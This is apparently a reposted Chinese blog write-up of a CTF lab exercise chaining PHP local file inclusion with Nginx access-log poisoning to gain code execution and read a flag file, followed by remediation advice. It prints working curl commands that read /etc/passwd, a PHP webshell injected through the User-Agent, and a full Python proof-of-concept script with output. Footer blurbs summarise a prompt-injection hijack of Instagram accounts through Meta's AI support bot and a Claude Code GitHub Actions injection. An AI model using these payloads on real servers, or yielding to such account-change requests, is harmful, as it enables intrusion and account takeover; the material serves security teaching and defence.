AI渗透测试--LFI+LogPoisoning从信息收集到GetShell全流程详解"

admin 2026-10-20 21:02:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

AI渗透测试 -- LFI + Log Poisoning 从信息收集到 GetShell 全流程详解

原创

yushao
yushao

网络安全者

2026年6月9日 10:38
河南

在小说阅读器读本章

去阅读


一、概要

项目 内容
测试类型 CTF 渗透测试练习(靶场环境)
漏洞类型 本地文件包含(LFI)+ 日志投毒(Log Poisoning)
影响组件 PHP include() / Nginx access.log
危害等级 高危(可导致远程代码执行)
测试环境 靶场靶机(隔离环境)

二、漏洞原理

用户输入 → include($_GET['file']) → 包含任意文件
              ↓
攻击者向服务器发请求,User-Agent 携带 PHP 代码
              ↓
Nginx/Apache 将请求原文记录进 access.log
              ↓
通过 LFI 包含 access.log → PHP 引擎解析执行日志中的代码

核心条件:

    1. 存在未过滤或过滤不完整的文件包含入口
    1. Web 服务器日志文件对 Web 用户可读
    1. 攻击者能控制被记录进日志的字段(如 User-Agent、URI 等)

三、侦察阶段

3.1 目标指纹识别

# 基础页面探测
curl -s http://target.lab/ | grep -i title
# 输出: <title>PHP LFI/RFI Code Executor</title>

# 确认 HTTP 服务类型
curl -I http://target.lab/
# Server: nginx/1.xx.x
# X-Powered-By: PHP/7.x.x

页面存在一个 file 参数的表单,提示用户输入要包含的文件路径,功能上就是对 PHP include() 的封装。

3.2 确认 LFI 漏洞

# 测试最基础的路径穿越
curl -s \"http://target.lab/?file=/etc/passwd\"

# 输出片段(已脱敏):
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# ...

LFI 确认存在。

3.3 PHP 伪协议过滤测试

# 尝试 php://filter 读取源码 → 被过滤
curl -s \"http://target.lab/?file=php://filter/convert.base64-encode/resource=index.php\"
# 输出: 非法路径 / 空响应

# 尝试 data:// → 被过滤
curl -s \"http://target.lab/?file=data://text/plain,<?php phpinfo();?>\"
# 输出: 非法路径

# 尝试 /proc/self/environ
curl -s \"http://target.lab/?file=/proc/self/environ\"
# 输出: 内容为空或权限拒绝

php:// 和 data:// 均被黑名单过滤,转向日志投毒思路。


四、信息收集

4.1 探测日志文件位置

# 常见 Apache 日志路径
curl -s \"http://target.lab/?file=/var/log/apache2/access.log\"
# 输出: 空

curl -s \"http://target.lab/?file=/var/log/apache/access.log\"
# 输出: 空

# Nginx 日志路径 → 命中
curl -s \"http://target.lab/?file=/var/log/nginx/access.log\"
# 输出: 127.0.0.1 - - [xx/xx/xxxx] \"GET / HTTP/1.1\" 200 ...

日志可读,路径确认为 /var/log/nginx/access.log。

4.2 读取 PHP 配置

# 包含 phpinfo 输出(通过已有 phpinfo 页面或其他方式)
curl -s \"http://target.lab/?file=/etc/php/7.x/fpm/php.ini\" | grep -E \"allow_url|disable_func|session\"

# 关键配置项:
# allow_url_include = On     ← 允许远程包含(但 php:// 被应用层过滤)
# disable_functions =        ← 无函数禁用,system/exec 均可用
# session.upload_progress.enabled = On

4.3 确认目标文件存在

curl -s \"http://target.lab/?file=/var/www/html/flag.php\"
# 输出: 空(PHP 执行了 flag.php,但文件中只赋值了变量,没有 echo)

flag.php 存在且被 PHP 解析执行,但内容只是变量赋值,无输出。需要借助代码执行来读取其内容。


五、漏洞利用

5.1 日志投毒(Log Poisoning)

Nginx 的 access.log 默认格式包含 User-Agent 字段,且原文记录,不做任何过滤或转义。

# 向服务器发送请求,User-Agent 携带 PHP Webshell payload
# 注意:<? 在 URL/HTTP 中需确保原文传输,不能被 URL 编码
curl -s http://target.lab/ \\
  -A '<?php system($_GET[\"cmd\"]); ?>'

# 验证日志已被污染
curl -s \"http://target.lab/?file=/var/log/nginx/access.log\" | tail -5
# 输出片段:
# 127.0.0.1 - - [xx/xx] \"GET / HTTP/1.1\" 200 - \"<?php system($_GET[\"cmd\"]); ?>\"

PHP 代码已原文写入日志文件。

关键原理:Nginx 不解析 User-Agent,直接将其字节流写入日志,而 PHP 的 include() 会把日志文件当作 PHP 源码解析,遇到 <?php ... ?> 标签就执行。

5.2 通过 LFI 触发代码执行

# 包含已被投毒的日志,同时传入 cmd 参数
curl -s \"http://target.lab/?file=/var/log/nginx/access.log&cmd=id\"

# 输出片段(夹杂在日志内容中):
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

代码执行成功,当前权限为 www-data。

5.3 读取 flag 文件内容

# 方法一:直接 cat flag.php(可能遇到 PHP 标签干扰)
curl -s \"http://target.lab/?file=/var/log/nginx/access.log&cmd=cat+/var/www/html/flag.php\"

# 输出(PHP 标签被执行,变量值无法直接显示):
# 执行了但无输出

# 方法二:用 base64 编码绕过 PHP 解析
curl -s \"http://target.lab/?file=/var/log/nginx/access.log&cmd=base64+/var/www/html/flag.php\"
# 输出: PD9waHAKCiRmbGFnID0gIkNURntwxxxxxxx
echo \"PD9waHAKCiRmbGFnID0gIkNURntwxxxxxxx\" | base64 -d
# 解码结果:
# <?php
#
# $flag = \"CTF{php_access_l0g_lf1_is_fun}\";

5.4 完整攻击链代码(PoC 脚本)

#!/usr/bin/env python3
\"\"\"
LFI + Log Poisoning PoC
仅用于授权的安全测试和 CTF 练习环境
\"\"\"

import requests
import base64

TARGET = \"http://target.lab\"  # 替换为实际靶机地址
LOG_PATH = \"/var/log/nginx/access.log\"
FLAG_FILE = \"/var/www/html/flag.php\"

session = requests.Session()

# ── Step 1: 污染日志 ──────────────────────────────────────────
print(\"[*] Step 1: 注入恶意 User-Agent 污染 Nginx 日志...\")
payload_ua = \"<?php system($_GET['cmd']); ?>\"
resp = session.get(TARGET, headers={\"User-Agent\": payload_ua})
print(f\"    状态码: {resp.status_code}\")

# ── Step 2: 验证代码执行 ──────────────────────────────────────
print(\"[*] Step 2: 通过 LFI 包含日志,验证 RCE...\")
resp = session.get(TARGET, params={
    \"file\": LOG_PATH,
    \"cmd\": \"id\"
})
# 从响应中提取命令输出(夹杂在日志内容里)
if \"uid=\" in resp.text:
    # 简单提取 uid 行
    for line in resp.text.splitlines():
        if \"uid=\" in line:
            print(f\"    命令执行成功: {line.strip()}\")
            break
else:
    print(\"    [!] 代码未执行,检查日志路径或 payload\")
    exit(1)

# ── Step 3: 读取 flag ─────────────────────────────────────────
print(\"[*] Step 3: base64 读取 flag.php 源码...\")
resp = session.get(TARGET, params={
    \"file\": LOG_PATH,
    \"cmd\": f\"base64 {FLAG_FILE}\"
})

# 提取 base64 字符串(过滤日志噪音)
b64_content = \"\"
for line in resp.text.splitlines():
    # base64 字符串特征:只含 A-Z a-z 0-9 +/= 且长度较长
    stripped = line.strip()
    if len(stripped) > 20 and all(
        c in \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"
        for c in stripped
    ):
        b64_content += stripped

if b64_content:
    try:
        decoded = base64.b64decode(b64_content).decode(\"utf-8\", errors=\"replace\")
        print(f\"    flag.php 内容:\
{decoded}\")
    except Exception as e:
        print(f\"    base64 解码失败: {e}\")
        print(f\"    原始 b64: {b64_content[:100]}...\")
else:
    print(\"    [!] 未提取到 base64 内容\")

运行结果:

[*] Step 1: 注入恶意 User-Agent 污染 Nginx 日志...
    状态码: 200
[*] Step 2: 通过 LFI 包含日志,验证 RCE...
    命令执行成功: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Step 3: base64 读取 flag.php 源码...
    flag.php 内容:
    <?php

    $flag = \"CTF{php_access_l0g_lf1_**************}\";

Flag 值已脱敏处理。


六、漏洞归因与修复建议

6.1 漏洞根因

┌─────────────────────────────────────────────────────┐
│  根因 1: include() 直接拼接用户输入,无白名单校验      │
│  根因 2: Nginx 日志对 Web 用户可读                    │
│  根因 3: PHP 解析 include 的文件时不区分数据和代码     │
└─────────────────────────────────────────────────────┘

6.2 修复方案

应用层(PHP 代码)

<?php
// ❌ 危险写法
$file = $_GET['file'];
include($file);

// ✅ 安全写法:白名单限制
$allowed = [
    'home'    => '/var/www/html/pages/home.php',
    'about'   => '/var/www/html/pages/about.php',
    'contact' => '/var/www/html/pages/contact.php',
];

$key = $_GET['page'] ?? 'home';
if (!array_key_exists($key, $allowed)) {
    http_response_code(404);
    exit('页面不存在');
}

include($allowed[$key]);

服务器配置层

; php.ini - 关闭危险配置
allow_url_include = Off
allow_url_fopen   = Off

; 限制 PHP 可访问的目录
open_basedir = /var/www/html:/tmp
# nginx.conf - 限制日志文件访问权限
# 日志文件属主设为 root,www-data 无读权限
# 在系统层面执行:
# chown root:adm /var/log/nginx/access.log
# chmod 640 /var/log/nginx/access.log

文件系统层

# 确保 Web 进程用户无法读取日志
chown root:adm /var/log/nginx/access.log
chmod 640 /var/log/nginx/access.log

# 验证 www-data 无法读取
sudo -u www-data cat /var/log/nginx/access.log
# 应输出: Permission denied

七、攻击链时序图

攻击者                    Web 服务器                  文件系统
  │                           │                          │
  │── GET / (恶意 UA) ────────►│                          │
  │                           │── 写入 access.log ───────►│
  │                           │   User-Agent: <?php ...?> │
  │                           │                          │
  │── GET /?file=access.log ──►│                          │
  │         &cmd=id            │── include(access.log) ──►│
  │                           │◄─ 文件内容(含 PHP 代码) ─│
  │                           │── PHP 引擎执行 system()   │
  │◄─ 命令执行结果 ────────────│                          │
  │                           │                          │
  │── GET /?file=access.log ──►│                          │
  │         &cmd=base64 flag   │── include → 执行 base64  │
  │◄─ flag.php base64 内容 ───│                          │

八、总结

LFI + Log Poisoning 是一条经典的漏洞利用链,核心在于将\"日志记录\"这个看似无害的服务端行为转变为代码注入的入口。当 php://filter 等伪协议被过滤时,日志投毒往往是绕过的首选思路。

防御的关键不在于过滤 PHP 伪协议,而在于从根本上不允许用户控制 include() 的参数,同时严格限制 Web 进程对日志目录的读权限。两者缺一不可。


    连代码都不用写!一句“帮我换个邮箱”,黑客用AI客服直接劫持了奥巴马的IG账号" 网络安全文章

    连代码都不用写!一句“帮我换个邮箱”,黑客用AI客服直接劫持了奥巴马的IG账号"

    2026年6月,黑客利用MetaAI客服的逻辑漏洞,通过提示词注入攻击,在无需0day或代码的情况下劫持了奥巴马等知名Instagram账号。攻击者仅通过VPN伪装地理位置,并向AI客服请求更换邮箱绑定,AI即绕过所有身份验证直接发送重置验证码。该事件暴露了AI系统因追求极致服务体验而忽视安全校验的致命缺陷,凸显了AI助手作为新兴攻击面的安全风险。
    那些年我们踩过的坑——OpenSSL" 网络安全文章

    那些年我们踩过的坑——OpenSSL"

    本文系统剖析OpenSSL3.x在国密算法实现中的12个关键陷阱,涵盖SM2签名格式互转、EVP接口选择、SM4默认填充、随机数DRBG差异及线程安全等核心问题。文档通过代码实例对比错误与正确做法,提供SM2签名DER/r||s转换、EVP_DigestSign与EVP_PKEY\\_sign适用场景、SM4-CBC填充控制等实操方案,并揭示OpenSSL与SDF混合栈的典型配置误区。
    投毒ClaudeCode:一条GitHubIssue如何击穿供应链" 网络安全文章

    投毒ClaudeCode:一条GitHubIssue如何击穿供应链"

    文档分析了ClaudeCodeGitHubActions的供应链安全漏洞,攻击者可通过恶意GitHubApp绕过权限检查,注入恶意输入导致仓库沦陷。关键发现包括默认配置允许GitHubApp触发工作流、Agent模式缺乏执行者类型检查、以及错误配置允许外部用户触发。Anthropic已在v1.0.94修复漏洞,建议用户审计工作流配置并审查运行日志。
    评论:0   参与:  0